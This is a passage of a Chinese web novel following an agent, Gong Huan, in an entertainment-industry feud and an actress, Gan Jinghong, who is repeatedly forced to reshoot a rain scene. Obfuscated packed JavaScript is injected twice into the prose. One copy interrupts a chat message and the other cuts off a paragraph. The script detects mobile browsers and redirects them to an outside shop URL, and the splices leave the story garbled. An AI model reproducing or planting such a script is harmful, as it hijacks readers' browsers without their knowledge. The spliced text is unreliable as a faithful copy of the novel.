又扳回了一局,今天战况颇佳。 她将浴缸里放满水,躺了进去泡澡。 先是利用路透反手将了郑羽一军,又把先前在奚亭云那受到的别扭还了回去。 宫欢将头靠在浴缸边缘,回忆着晚上那会的状况。 其实之前就对奚亭云的态度有点猜测,只是她没当回事。 而去买药的时候,他紧追上来叫的那声“欢欢”,一下让宫欢想到了醉酒那天,在脑中耳边来回飘的那些低哑笑声,还有一声声暧昧的亲昵称呼。 她之前就怀疑是他,可找不到证据。 而刚刚,奚亭云慌乱之中为她的记忆做了证明,他怔愣的神情更是佐证。 宫欢总算逮到罪魁祸首了。 她将手从浴缸中伸出,拍了拍水面漂浮的泡沫。 联想到他总是跟她说晚安,在她面前刷存在感,宫欢就觉得不爽,她可是足足被他控住了两次!两次啊! 刚才奚亭云忘记日常道晚安,宫欢抓住机会,给了他一个狠狠地回击,她才不是只会被逼的节节败退的人。 “年纪轻轻不学好,居然想上位,”宫欢这么想,“明明是个素人,平时看着也挺矜持的,怎么就是个想剑走偏锋的人呢?” 宫欢想,奚亭云被她培养的期间见识到花花绿绿的世界,一下认识到钱的美妙,就开始打着想勾搭她这个经纪人的主意! 好直接少走50年弯路! 奚亭云啊奚亭云,你怎么这么堕落呢! 宫欢一只手拢起水面的泡沫,另一只手扇过去打了几下,恨铁不成钢地模拟教训着:“我那么看好你啊,你这种青竹般的气质,那可是圈里的一股清流,怎么就——怎么就看中我的钱了!” “啊?说!”宫欢玩得起劲,“你,你真是,让我伤透了心......唉,没办法,可能是我实在是太有个人魅力了,你走个歪路也正常。” “下次不许这样了,知道吗,”她自问自答,“......嗯~知道就好。” 洗漱完毕,宫欢爬上床,趴在床上胡思乱想。 不管怎么说,她都得让奚亭云走上正道,不能总是想着这些歪门邪道。 奚亭云想勾搭她,但她可是一心为20亿大计,必不可能栽在他这棵树上。 可是吧...... 宫欢又怕他不成功,半道去找别的金主勾搭,那也会影响她这段时间的投入和后续的计划。 真是麻烦。 宫欢在床上翻来覆去,想了半夜,终于有了个办法。 目前看来,最好的办法就是——以身入局。 宫欢要做那根他咬不到的胡萝卜,吊着他一路向前,直到终点。 53. 就拉踩 离【敢说敢言】节目开播还有3天。 宫欢带着三人刚到演播大楼门口,就被后面紧跟而来的郑羽带人堵住了去路。 郑羽和陈闪闪几人脸黑得像烧焦的锅底,一个个煞气冲天地瞪着宫欢。 陈闪闪一上来就指着宫欢鼻子质问:“路透图是不是你干的!我就说昨天你们这群人贱嗖嗖地往我们旁边凑什么,原来是买了拉踩通稿!就等着踩我们呢!” “那些图一看就是精修过的,你们真以为这样就能吸粉了?”陈闪闪越说越气,甚至想上手揍宫欢,他刚往前一步—— 同一时间,郑羽抬手拦住了他。 宫欢身旁的奚亭云也下意识往前,想挡住宫欢。 “冷静点,”郑羽看了眼陈闪闪,气得呼吸不畅却还要好好说话,“别惹事。” 宫欢也抬手拍拍奚亭云,示意他让开,不用担心。 在奚亭云侧开身子后,宫欢嬉皮笑脸地往前凑,顶着前面一众要杀死人的目光,极其嚣张地说: “要打我尽管来啊,让我想想新的通稿用什么标题——“TXT陈闪闪试图当众殴打柔弱女孩”、“TXT围堵演播大楼为难宫欢”、“璀璨纵容艺人寻衅滋事”。” “啧啧啧,还有点难选呢。” 宫欢边说,边绕着郑羽几人走,那双狡黠张狂的眼睛扫过每个人,原本调侃气人的语气,过渡极快的变为更高扬的音调: “这就是公平竞争啊,比你们手段好了不知道多少倍吧?起码帮你们省了营销钱,一分钱没花上了热搜娱乐版头条——说起来,你们还得谢谢我呢~” 郑羽被她不要脸的架势气得也想上前揍人,结果被宫欢闪身躲开,陈闪闪等人拉住郑羽,小声劝她。 “你以为你这些营销好到哪儿去,这么明目张胆地拉踩,是个人都能看得出来!”郑羽气急败坏地甩开几人阻拦的手,“路人没那么傻!” 宫欢耸肩:“那无所谓啊,反正我的人好看就行了,就拉踩,怎么了。” 说着,宫欢不再多做停留,带着人强行挤开TXT男团的人,进了演播大楼。 郑羽看着几人离开的身影,咬牙低声道:“你给我等着!” 几人往里走了一段路,宫欢偷偷回头看了眼,见没人追上来,才虚虚拍拍胸口,然后叮嘱几人:“晚上我们一起走,千万不能让我落单!” 奚亭云一口应下:“绝不会让你一个人的。” 萧子重开玩笑似的说:“你不是不怕吗,刚才狂得要命,我都替你捏把汗啊。” 这会儿没外人,宫欢本性暴露,她反怼回去:“那能一样吗?刚才那么多人呢,我得充面子啊,我的面子就是你们的免死金牌,那当然要怎么横怎么来。” “不过吧......”宫欢说,“私下里想报复我的人也不少,套麻袋打一顿都是轻的,反正你们保护好我就对了。” 萧子重吐槽道:“艺人保护经纪人,破天荒头一回啊。” 2号演播厅内,经过这段时间的接洽,男团初舞台的场景布置、灯光设计、出场退场的一些特效都制定的差不多了。 宫欢收到助理们寄来的男团服饰道具,将所有物品拆封放在休息室后,还借来了节目组的熨烫机,熨好每套服装,一些饰品则整齐地摆放在化妆台上。 她很少亲自做这些事,基本都是助理来处理杂事,但两个小助理在别墅做控评营销,高姐又忙着家里的事情,宫欢只得自己动手。 抽空要再招一些助理了。 做经纪人以前,琐碎又麻烦的日常事务她从未接触过,而做了经纪人后,连包扎伤口都熟练了。 没办法,她以前以为自己算是能作会闹的,但进了娱乐圈后,奇葩层出不穷,狗血遍地挥洒,宫欢自觉她已经是一股清流。 所有琐碎事务处理好,她才躺在沙发上拿出手机处理其他事务。 昨天的路透拉踩上了热搜,难怪郑羽她们那么急。 热搜里面的评论大部分被TXT男团的粉丝们控评,都在说: 【这些路透图就是对家故意拉踩才放出来的!】 【和陈闪闪挨着的那个男的磨皮开多少啊,毛孔都磨没了,腿拉了多少啊,跟个竹竿似的】 【拉踩不要太明显,当谁看不出来啊】 【闪闪是靠脸吃饭的吗!对家这人谁啊,这么不长眼敢跟内娱第一男团对着干!?】 【有一说一,视觉上感觉对面的人比陈高,陈真有一米八?】 【陈之前上综艺脱鞋还没女主持人高呢,那个主持人官方身高一米七四】 【都别吵了!!所以对家到底是谁啊,我搜不到!】 宫欢看到这退出去,在搜索框里输入X。 【X男团】 【X男团新人出道】 【X男团书店侧影】 助理们早早就买好了热搜词条,甚至连奚亭云三人的主页都充了会员,设置了高清的精美写真照,包括三人单独超话,男团总超话,所有超话的主持人都是宫欢的助理。 宫欢一一点开三人微博。 每个人的第一条微博都是发了写真照,和有些个人特色的自我介绍,微博和文案都由助理们编辑,宫欢查看无误后发出。 路透营销的这段时间里,第一条微博下面的评论从个位数到百位数,只用了半小时。 不少粉丝对比了写真照和路透照,然后顺藤摸瓜找来,开战。 【我说怎么一张脸都不认识,原来是新男团啊,踩着前辈上位很自豪吗?】 【出道就拉踩TXT,别来沾边!!退退退!!】 【之前的书店侧影也是炒作吧!我就说怎么会有素人长那么好看】 【哪家公司的艺人?有没有老师指路一下】 【等等,有没有人注意盲点,这个什么X男团为什么会和TXT同台?】 【我天,他们不会要和TXT参加同一场节目吧!!】 宫欢退出评论区,再打开热搜时,上面有条【拉踩】的最新热搜,热度不高,排在较低的位置。 评论的风向从骂声转为猜测——与TXT男团同台的神秘X男团是否参加了同一场节目。 宫欢在脑中捋着思绪,下一步该怎么做比较好。 郑羽那边没有要压热搜的意思,让宫欢有点摸不准她想做什么。郑羽这人是会用资源和钱砸出明星的,从郑羽为了赢得利益临时拿钱挖墙脚就能看出,她的职业道德很低。 就算往舞台上泼水是陈闪闪等人做的,宫欢也不怀疑,郑羽会用相差无几的手段。 得防着点。 宫欢点开微信,发现节目组小张给她发消息说留了观众席座位,在第一排。 宫欢:【谢啦,晚点请你喝奶茶。】 小张:【谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126344|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢欢姐,这是小事情啦,我们还省了一个群演的钱。】 宫欢:【节目开播前,你们会检查设备吗?】 小张:【会啊,怎么突然这么问】 宫欢:【检查的时候带我一个,我想了解一下】 发完后,小张没回,可能是自己做不了决定,在去问领导。 宫欢捏着手机在房间踱步。这场初舞台是决定男团未来的关键走向,绝对不能出差错,否则这段时间的努力就白费了。 这段时间又只有她一个人守着,高姐不在,导致宫欢很多时候整个人都是浮躁不安的。 虽然表面看起来仍是之前的自信满满,但其实只有她自己知道,她怕出岔子,怕团队不稳定,等等等等。 只是宫欢一直在用较为夸张的表象掩饰着。 不过怕也没办法,都要一一应对。 小张终于回了消息:【我问了导演,说可以的,欢姐陪着一起检查大家会更上心】 宫欢:【OK,辛苦了】 男团这边没太大问题了。 宫欢看见富豪榜大群里面的聊天消息,甘惊鸿每天都会发一些消息活跃氛围,不知道她那边怎么样,有没有遇到麻烦。 依宫欢之前和刘导的聊天来看,刘导人还算和善好相处,不会太为难新人演员。 而甘惊鸿这类经验不多的演员,导演多是会指教他们按照影片风格来表演,比起有经验的艺人更好引导。 宫欢点开甘惊鸿的私人聊天界面:【剧组待着怎么样,还适应吗?】 她心里有所预期的想,应该会回:很顺利,没问题之类的话,甘惊鸿的演戏风格狂放不羁,她相信会很顺利拿下导演的。 然而,消息发过去后,聊天框上方显示“对方正在输入中”,宫欢等了一会儿,迟迟不见消息发过来。 难道是信号不好? 下一秒,一通电话拨了过来,来电人为甘惊鸿,宫欢懵了下,随即接通。 来电刚一接通,对面的音量骤然加大,如警车鸣笛般的哭声铺天盖地似的扑了过来—— 宫欢下意识将手机拉远耳边,被这动静震得更是一愣。 即使没开免提,对面的哭嚎声仍旧十分清楚刺耳。 宫欢纳闷:“怎么还哭着呢,在拍哭戏吗?” 她问完后,手机那边哭声停了一秒,过后变为更大的警车鸣笛声,每个哭音高低起伏各不同,音域宽广,余音绕梁,不对,余音刺脑子。 宫欢觉得她应该再组个女团,让甘惊鸿做主唱,不然真可惜了这副嗓子。 “欢姐——呜呜呜哇啊啊啊,”甘惊鸿哭得上气不接下气,哭声却没断过,哭得厉害时还咳嗽两声,“咳咳咳,我,我呜呜呜呜我......” 我了个半天也没说出一句话,宫欢急得很:“你怎么了,说话啊?” “我被欺负了呜呜呜呜啊啊啊啊哇哇哇啊啊!” 一听见那几个字,宫欢顿时严肃起来,她转身拿起放在沙发上的包,大步走出休息室。 “你好好说,是怎么个情况。”她一边听着甘惊鸿那边抽抽噎噎的委屈声音,一边走到1号演播室的侧门。 宫欢空出手敲了敲侧门,朝舞台上的三人说了句“我出去一趟,你们自己好好彩排”,然后就转身走了。 三人只听见了声儿,连个人影都没看见,不明所以地互相看了眼。 54. 警笛哭声(甘惊鸿) 甘惊鸿刚刚得知,拍摄前期女主演大概率是不会出现了。 毕竟前期只有她和男主的一些片段,女主演就算来了也没戏份。 她更惆怅了。 独自一人坐在单虹小院外的石头上,托着下巴发呆。 她面前的小木凳上放着四五张笔迹满满的试卷和两本教材书。 昨天和高义南演对手戏时,甘惊鸿总觉得还差很多东西,但她也不好再去说对戏的事情,而女主演这边也一直不露面,她只能拿着剧本闭门造车。 ——猜测男主演会有怎样的反应,她的应对反应要怎么来,未来的单虹又会改变多少。 身为少年时期的单虹,甘惊鸿不一定要多了解未来的单虹,但她得知道一星半点,这样才能在演绎的时候,通过一些不明显的肢体动作来向观众暗示隐喻—— 她和她是一个人,是一个人的少年时期和成年时期,一个心气高傲,不服输不示弱的学霸单虹,她的本质从未变过。 可是甘惊鸿一点儿都不知道女一会怎么去诠释单虹这个角色。 她正想着,另一边的几个剧组人员拿着手机刷娱乐新闻的视频。 主角是宫欢,视频博主正在解析宫欢的一举一动。 “大家快看,宫欢在新星晚宴的这段红毯路走得有多快,跟赶着要去菜市场似的!晚宴上的所有明星在红毯上都是优雅华贵的走着台步,只有她像要赶着完成任务,对主办方一点都不尊重!” 甘惊鸿皱了皱眉,拿起小石头往几人那边砸了一下。 几人看视频十分投入,压根没注意到这点动静,这让甘惊鸿说不出的反感。 他们根本不了解宫欢,却显得好像能通过一个人的肢体动作和表现出来的一面来确定一个人是怎样的。 等等—— 甘惊鸿脑中闪过一道灵光。 肢体动作,了解一个人? 甘惊鸿急忙拿出手机,生怕自己下一秒就会忘记这个超绝的想法,她点进一个视频APP,在里面搜索女一曲静初的名字。 搜索结果出来无数条。 曲静初是一线电影演员,关于她的影视剪辑层出不穷,甘惊鸿很轻易就找到了一些高光片段。 接下来的几个小时里,甘惊鸿一直找这些视频看,除此之外还有一些媒体采访、走红毯、日常访谈的视频,如同魔怔般地沉浸式地看了几个小时—— 甘惊鸿记住了一些曲静初的日常习惯。 说话时的前后断句,常用的几个语气词,身体的日常体态,还有面对媒体时疑惑、开心、忍不住笑的各种各种表情动作,再融合在影片里曲静初常用的动作。 甘惊鸿差不多对女一的演技技巧有一些了解了。 手机电量告急,只剩3%。 甘惊鸿才眨了眨酸涩发涨的眼睛,将手机锁屏,看着远处的油菜花田放松眼睛。 “这样也是一个办法,”她自言自语道,“比观察本人的信息量更多,接下来就是尽量在角色里面加入这些习惯性动作。” 加入之前,甘惊鸿必须要自己不停地练习,将这些动作刻入本能,她才会在演戏时下意识做出相同的反应,否则只是一味的模仿的话,在镜头里会显得非常虚假,有刻意模仿的情况。 甘惊鸿设计动作细节时,小院里面传出超大喇叭声,是刘导在召集剧组人员: “今天拍摄男主暗中保护女主的剧情,还有男主被同学索要保护费一些镜头,主要拍摄场地在学校,摄影还有打光都跟我走。” 几人出了院门,刘导看见一边站着走神的甘惊鸿,叫了她一声:“你要不要跟我们一块去,高义南那边还要晚一点。” 能蹭车她当然求之不得,甘惊鸿连连点头:“要!” 两三辆体型略大的面包车停在不远处,车内塞满了零零散散的道具。 甘惊鸿跟刘导和副导坐了一辆车,她刚坐稳,车便开动了。 刘导坐在副驾驶闭目养神。 一个导演负责的不只是拍摄,还有剧组的各种调度。他忙着去调整剧组的人员安排,休息时间紧迫,几乎没怎么睡好。 副导和甘惊鸿挨着坐,大概车内太安静,她小声跟甘惊鸿闲聊起来:“昨天看见你和高义南在对戏,旁边还有几个人在看,是怎么回事啊。” 电影拍摄过程中一般是不允许外泄剧情内容的,不过刘导这个剧本之前就有在微博上面提到过一些,再加上是爱情片,主打的就是一个氛围和演员之间的关系,也就没有非常严格的禁止路透。 甘惊鸿委婉笑笑:“就是赶巧了,昨天正好高老师的粉丝来探班,就顺带着对了下戏。” “哦——怪不得呢。”副导看了眼前面坐着的刘导,有意无意地说:“昨天高老师聊天的时候,提议男主和女主认识的过程应该再多一点,他说只是一次小巷子的救助太单薄了,你觉得呢?” 谁,谁觉得? 甘惊鸿左右看了看,非常不想发现副导演把问题抛给她这个不起眼的小配角。 她抬眼时瞄见后视镜里刘导的眼睛也睁开一条缝。 为什么不问导演? “......”她能怎么觉得,她连对戏都不敢。 大概是甘惊鸿脸上血色褪得太快,副导以为她不敢接话,拐了个弯:“不用想那么多,你就说说你对角色的个人理解和想法就行。这事昨天高老师和刘导聊了聊,刘导一时拿捏不准,想问问你对角色的理解,看看能不能有点灵感。” 甘惊鸿这才安心,她始终穿着那身蓝白校服,脑后马尾有些松散,更有学生气的样子。 “我,我觉得可以加点。”甘惊鸿手中的剧本卷成了团。 副导演以为她会和稀泥说加不加都行,毕竟她只是个配角女二,没想到听见这么个回答,好奇地追问:“也是角色不立体的原因吗?” 甘惊鸿紧张起来小动作很多,她一只手挠了挠侧脸,斟酌着说:“我和男主的最大接触就是小巷那场戏,他是在这之后开始对我上心,保护我,直到男女主成年后接触才多了起来,最后帮女主背锅。” 副导:“有什么问题吗?” “也不能说是问题吧,”甘惊鸿放下手,攥紧剧本,“我觉得......救他之前,我们两个是不是应该有点接触,大家都是一个学校的学生,我又是学霸,他应该多少听说过我,甚至是接触过几次。” 保姆车开出郊区,驶入竖店的大型拍摄基地,副驾驶上的刘导慢慢睁开眼,看着后视镜里的小演员。 她认真地分析着角色:“这样多少有个印象停留在脑海里,然后在小巷救他的时候,他看见是我会很惊讶,不敢置信等等许多复杂的情绪,而且男主学习不是很好,他对学霸会不会有一种仰慕之类的情绪,我觉得这样下来角色能更有层次感。” “我之前一直觉得缺点什么,感觉这部分的接触很突兀。我救了他一次,所以他一直暗恋我其实也算合理的剧情,只是少了点......” 甘惊鸿组织着措辞,副驾驶上的刘导忽然接过话:“铺垫。” “对!就是这个,”甘惊鸿眼睛一亮,重复了一遍,“铺垫!” 她反应过来刚才两个字是刘导说的,甘惊鸿不好意思地笑笑:“刘导不愧是专业的。” “你说的很合理,”刘导侧过身看后座的甘惊鸿,赞赏地看她,“确实少了铺垫,因为剧本的重心放在后期男女主成年后的接触上面,过去我们只定了巷子那场戏,考虑到电影时长的问题,我们没打算在过去多做拍摄。” 甘惊鸿恍然大悟:“原来是因为这个原因。” “不过现在,我觉得还是要加上这些剧情,”刘导又坐了回去,甘惊鸿意外地看着他,“后果重要,前因也要到位。” 甘惊鸿若有所思地点头,不敢多吭声。 副导倒是很高兴地说:“可以啊你,解决了一个大麻烦。” “大......麻烦?” “可不,”副导偷偷瞄了眼副驾驶的刘导,侧耳到甘惊鸿耳边悄悄说,“昨天因为加戏的事情,刘导差点和高老师吵起来。” 甘惊鸿惊讶:“啊!?” “高老师说要加前期接触的戏份,这样女主成年后对他的印象才会更深刻。” 副导说:“其实你们的意见大差不差,但是他是想增加后期的感觉,刘导觉得那样男主就有点过了,感觉变味了。但是你提供了一个新的角度,前期接触不止是一个人的印象深刻,而是双方的,尤其这个铺垫可以增加小巷戏份的戏剧张力。” 甘惊鸿没想那么细,她看着副导大谈特谈,由衷地夸道:“您的分析也很全面,我都没想那么多。” 副导全盘接收她的夸赞,得意地扬眉:“那当然,我以前做编剧的!” 车内安静了会儿,甘惊鸿倚在后座靠窗的位置休息。她刚才就有些恹恹的,这会儿身体的不适感加大,眉头微微皱起,像是半蜷缩着窝在座位上。 保姆车很快停在了拍摄基地,刘导下车去指挥拍摄的位置和角度了,副导则在整理拍摄流程,她抬头看了眼甘惊鸿这边,发现人脸色比刚才更白,有点不对劲。 “小甘,你不舒服吗?脸怎么那么白?” “没事,”甘惊鸿摆摆手,刚说完眼神一转,为难地扯出一个虚弱的笑,“那个,您有带卫生巾吗?” 副导瞬间明了,从随身带的生活用品包里找出来递给她:“我说你怎么没前两天有劲头搬石头了,等下的拍摄内容没什么难度,我让化妆师给你补点腮红遮一下脸色。” “好,麻烦您了。”甘惊鸿接过卫生巾,拉开车门下去。 下车时,甘惊鸿看见高义南的房车也开了过来,她顾不得打招呼,循着公共卫生间的牌子就找了过去。 竖店的剧组和群演众多,公共卫生间门口排了不少人,穿着古装的群演、缠满绷带只露出眼睛的木乃伊、画着黑山老妖妆容的石矶娘娘等等都在排队。 她只得忍着痛意排在后面,小腹里面阵阵绞痛。 队伍旁边,一个浑身穿着棕褐色的椭圆形外壳的群演慢慢悠悠的晃了过来,眼珠子转了两圈,看见排成长队的人群很是不耐烦。 他头上两根触须晃了晃,仗着自己体型大,摆着身体硬生生插入一截队伍当中,理直气壮的插了队。 队伍顿时又往后挪了挪,不少人都啧来啧去的,探头往前面看。 “你干嘛!什么人啊这是,这么多人都排在后面,你还插队要不要脸!” “后面去,听不见啊你?” 后面排队的穿着染血日式军服的群演一把卸下了背上的刺刀,连扎了几下那只蟑螂,嘴里叫骂不停,“滚开!!” 这只群演理都不理,仗着壳硬死赖着不走。 这么大张旗鼓地插队,前后排队的人骂了半天,插队的人全当听不见。 甘惊鸿觉得火气直冲上头顶,她小脸煞白,离开队伍往前走了一段,来到插队的那人旁边。 甘惊鸿冷着脸,她个高,因为疼痛整张脸很难看,盯着蟑螂群演气势汹汹地说了两个字:“排!队!” 群演是位中年男子,看甘惊鸿一身校服穿着,估摸着是个年轻小姑娘,不但不搭理,反而更嚣张地歪着头把她当空气,两根触须也左右晃动着,好像在嘲讽她。 甘惊鸿更恼火了,她缓缓抬起一只手,凶巴巴地说:“你知道石头的重量吗?” 蟑螂群演被这话问的懵了下:“啥?啥重量?” 甘惊鸿手伸出去一把揪住蟑螂群演的两根触须,不由分说地提着他往排队的队伍后面走。 “啊啊你干啥!诶啊啊救命啊,来人啊!救命啊要打人啦!”叫了半天,排队的人群没一个搭理他。 蟑螂群演没有甘惊鸿力气大,抓着她的手臂,两条腿想往后退,却愣是被甘惊鸿拖行数米,直到队伍最后面。 甘惊鸿松开手,蟑螂群演顿时重心不稳摔倒在地,一屁股坐在地上哎哟直叫,哭爹喊娘的,却见那小姑娘一句话也不说地转头回去。 插队的蟑螂群演骂了几句,被排队的一行人频频盯着,也不好说什么,只得吃了这个亏乖乖排队。 甘惊鸿走回原位时,那还留着她的空位,后面排队的一行古装剧演员都向她投来敬佩的目光。 ——吾辈之女侠! 废了会功夫总算做好了防护,甘惊鸿又在便利店买了些卫生巾做为备用,往剧组走时,天渐渐阴下来,整个竖店显得灰蒙蒙的。 加戏份后拍摄进度也要跟着调整,刘导很快就暂定了两个拍摄地点,一个在公交站牌附近,一个则是学校里的操场上。 竖店是个大型影视基地,这两个地点在基地内就可以完成。 甘惊鸿一回来,刘导便跟她说接下来加的戏份内容:“加了两个剧情片段,一个是男主被索要保护费而迟到在操场罚跑10圈,你下课看到后给他送了一瓶水。” “一段是你放学回家的时候碰上下雨,你需要赶到公交车站这里,跑到一半的时候身上淋湿了,男主看见你之后来给你送了伞,他自己却淋着雨回家。” 甘惊鸿从校服口袋里拿出笔,在剧本空白处记下这两段剧情:“那我跟他算是认识但不熟的一个状态吧。” 刘导想了想:“差不多,你不知道他的名字,但他认识你,因为你是学霸,成绩名列前茅,学校的专栏里面经常出现你的照片和名字。” “哦哦,”甘惊鸿应道,“懂了,我不认识他,只把他当普通同学,他认识我,但是因为一些接触所以有了情愫。” 这姑娘看着呆呆的,对角色的理解倒是很透彻。 刘导没过多指点,只是说:“按照你的想法去演就行,等会先拍公交站的戏份。” 有些老套的情节,甘惊鸿想,不过有的演就不错了。 这可是电影啊,她的第一部电影作品。 她将剧本翻到后面略新的页面上,大部分的重头戏和反转都在后面,她演不了,不过甘惊鸿打算拍后期时,看看能不能跟导演提出继续跟组。 刘导和副导都很好说话。 男女主演的对手戏,她还是很想看看的,说不定能学到点新东西。 天虽然阴了,却不确定能不能等来这场雨,道具组在整理水管和水枪,准备等下人工降雨。 甘惊鸿抱着保温杯喝着副导帮她冲的红糖水。 这些本来该是助理做的事情,但甘惊鸿的助理高姐临时有事走了,她走之前特意给剧组人员买过水,让他们帮忙多照顾一下甘惊鸿。 再加上甘惊鸿老老实实不闹腾,长相乖巧喜人,大家都把她当朋友处。 公交站牌附近的机位布置完善,高义南从旁边停着的房车里走了下来,昨天因为加戏的事情他和导演有点不愉快,刚才加戏份的事情都是副导去说的。 提的时候那么反对,最后不还是加戏份了。 高义南演了10来年的戏,期间也做过不少幕后工作,对剧本的揣摩肯定不比刘导少,刘导只是这两年拍了一两部还算叫座的文艺片,并不是在电影方面就算行家了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水枪喷落下来的水珠和雨水不同,一颗颗砸得人生疼,甘惊鸿用手挡着头,头微微低着,后脖颈被水珠砸得通红一片,她头发湿漉漉地贴着脸颊,朝着百米远的公交站牌跑。 跑到一半,该高义南上场。 他手里拿着一把透明雨伞,撑开冲入雨幕中,迈着大步跑向甘惊鸿,将要靠近时脚下一个趔趄,猝不及防地滑出一段距离。 出戏了。 “卡——”刘导喊停,“怎么回事?” 水枪顿时关闭,人工降雨停止,天上却往下落着雨丝,看着像是要下起来。 高义南身上湿了一些,他摆着手脸上带着歉意:“不好意思,地上有点滑,我没站稳。” 甘惊鸿大口喘着气,身上湿漉漉地往下滴水,高义南看着她,声音听不出有多少真实地说:“真对不起啊。” 甘惊鸿摇摇头,她抬手抹了把脸,有些无措地看向导演那边。 “重来,给她头发吹干一下。”刘导说。 这段剧情刘导想用一个长镜头,从单虹衣服一点点湿到全部湿透遇到男主送伞,男主衣服干着到全部湿透的一段内容,要是中间切镜头达不到他想要的效果。 副导和两个助理带着甘惊鸿去换衣服吹头发,高义南慢悠悠地走回自己的座椅坐下休息。 几分钟补妆,吹头发,甘惊鸿换了身干衣服回来,脸上苍白得更厉害,即使打了腮红仍然能看出脸色不好。 全剧组人都等着,一切都很快。 这会儿雨点落得大了,但还达不到雨点密集的程度,水枪依旧上场。 甘惊鸿手指掐了掐手臂,让自己保持紧绷的神经,好做出最快的情绪反应。 “Action!” 再次冲入雨幕,甘惊鸿被两种不同温度的水冲击着,雨水是偏湿凉的,容易黏着皮肤表层,水枪里的水则更冰一点,像是从地下抽出来的。 她身体微微缩着往前跑,跑到一半高义南入场。 伞停在了单虹头顶,她顿住脚步,诧异地看向身旁的人,雨水模糊了眼睛,她费力地眨了两下眼,才看清面前的人:“你是?” 只见面前的人举着伞看她几秒,忽然破功笑了出来。 甘惊鸿的心瞬间沉了沉,原本酝酿的情绪一点点碎开了,她在单虹和自己之间来回拉扯,情绪卡在中间不上不下,很难受。 高义南笑了两声,抬手朝监视器那边挥挥:“不好意思,她妆花了,我没忍住。” “卡。”刘导说。 大概是见多了演员笑场,刘导并没过多臭脸。 副导和助理再次给甘惊鸿吹头发换衣服补妆,副导感觉出不对劲来,她给甘惊鸿整理头发时悄声问了句:“什么情况啊,你是不是惹他了?怎么一直NG。” 甘惊鸿刚才一直沉浸在角色里,加上身体不适,没想那么多,这会儿副导提醒了,她愣了愣神,才明白过来她说的什么意思。 “我不知道......” 甘惊鸿打了个寒颤。 一会儿是冰冷的雨水,一会又是吹风机吹出来的热风,再加上她正是生理期,身体已经有点受不了了,抱着手臂的两手指尖冻得发红。 副导知道她正在生理期,有点为难地给出主意:“要不然你跟导演说说,先拍校园的戏份,这场延后拍,你起个头,我等下帮你说话。” 这也不失为一个办法,但是,甘惊鸿是个纯新人,来剧组没几天就提出这种要求,多少有点大胆了,等同于她在干涉拍摄进度。 她不太想搞特殊。 甘惊鸿摇摇头,硬撑着站起来,头一阵阵的发晕,化妆师给她补腮红时手背感受到她脸上的温度,大惊:“你脸这么烫——” “没事,”甘惊鸿打断道,她拉上校服拉链站起身,坚持着,“很快就拍完了。” 哪里得罪了高义南? 甘惊鸿也在想这个问题,她和他这两天就只有昨天对戏的时候接触过多,难道是那会儿...... 第三次:“Action!” 这都第三次了,他就算要出气,也该差不多了吧。 甘惊鸿狠狠心继续冲入雨幕。 这会儿雨下得很大,周围的剧组人员提前穿上了黑色雨衣,有些给机器套着防水膜。 刚才人工放出的水加上雨水混合,一时排不出去,导致地面的水积攒下来,水位很高,一度没过脚踝,甘惊鸿跑入镜头时,脚下带起大片水花。 镜头外,高义南一手插兜,一手撑伞,傲慢地看着甘惊鸿在雨水里面跑,几秒后,他冲了过去,不慎将地面积水踢起来,一下打湿了两人的衣服...... 第四次,高义南将伞塞给甘惊鸿时,她的手冰凉僵硬,没有接住...... 第五次,两人说台词太紧凑,没有留足情绪发酵...... 第六次,第七次...... 甘惊鸿不记得拍了多少次,大概是后半夜,她昏昏沉沉的时候,终于听见刘导的喇叭声:过了。 拍摄完毕,人员解散。 甘惊鸿坐在遮雨棚下,衣服头发都吹干了,可脸烫得发红,她哆哆嗦嗦拿出手机买感冒药。 刚下完单,手机跳出微信消息,是宫欢发来的:【剧组待着怎么样,还适应吗?】 甘惊鸿情绪瞬间失控,眼泪一下涌了出来,模糊了眼睛,她手指僵硬,冷到发颤地敲着字:【都很好。】 她看着那三个字,心里越来越委屈,抽噎着,眼泪大颗大颗地砸落在手机屏幕上,最终还是没忍住,打开通讯录拨了电话过去—— 电话一接通,甘惊鸿放声大哭:“哇呜呜呜呜呜呜,呜呜,欢姐,我,我呜呜呜......” 手机那边静了几秒,随即传来疑问:“怎么还哭着呢,在拍哭戏吗?” 甘惊鸿噎了一下,哭得更厉害了。 她哭得惊天地泣鬼神,活像警车鸣笛而过,却偏偏找了角落,怕别人听见。 她不想给别人添麻烦。 55. 大闹特闹 B市电视台与竖店影视基地虽然都在一个城市,距离却不近。 宫欢抢了司机的车,大半夜开了一百多公里赶到影视基地时,天微微亮,温度较低,她却像一团火雷厉风行地冲进了剧组。 昨天甘惊鸿给她打电话时,宫欢一直连着蓝牙,让人先吃过退烧药然后回酒店休息,接着又让司机帮忙照看一下甘惊鸿。 这会儿宫欢到了昨天甘惊鸿给她发的定位地点。 早上有些剧组人员在收拾道具,一来就看见个穿着简单,气质不俗的长发女人在四下打量剧组环境。 “剧组拍摄中,外人免进啊。”工作人员提醒道。 宫欢无比自然地从手提包里拿出一沓红票子扔给他,拉过一张休息椅,抱臂坐上去,态度高傲,声音略冷地问:“昨天你们拍摄过程中出什么事了。” 工作人员一大早被人用钱砸,一度清醒不过来,有些慌乱地左右看了看,还掐了自己一把确认是不是在做梦。 一些大导的剧组严禁机密外泄,即使狗仔给钱也是绝不允许的,刘导的剧组倒没那么严格。 工作人员走神这会儿,宫欢狐疑地看他:“钱不够?”准备再拿出一沓钱来砸人。 “够够够了!”这人将钱往衣服里一塞,轻咳两声悄悄挨过来,“我跟你说,你可千万别往外传啊。” 宫欢面无表情:“我一定不会让第三个人知道。” “昨天我们那场戏拍的啊——那叫一个惊心动魄......” 工作人员收了钱非常敬业,手舞足蹈地给宫欢演示昨天那场让剧组里所有人都背后议论的拍摄内幕。 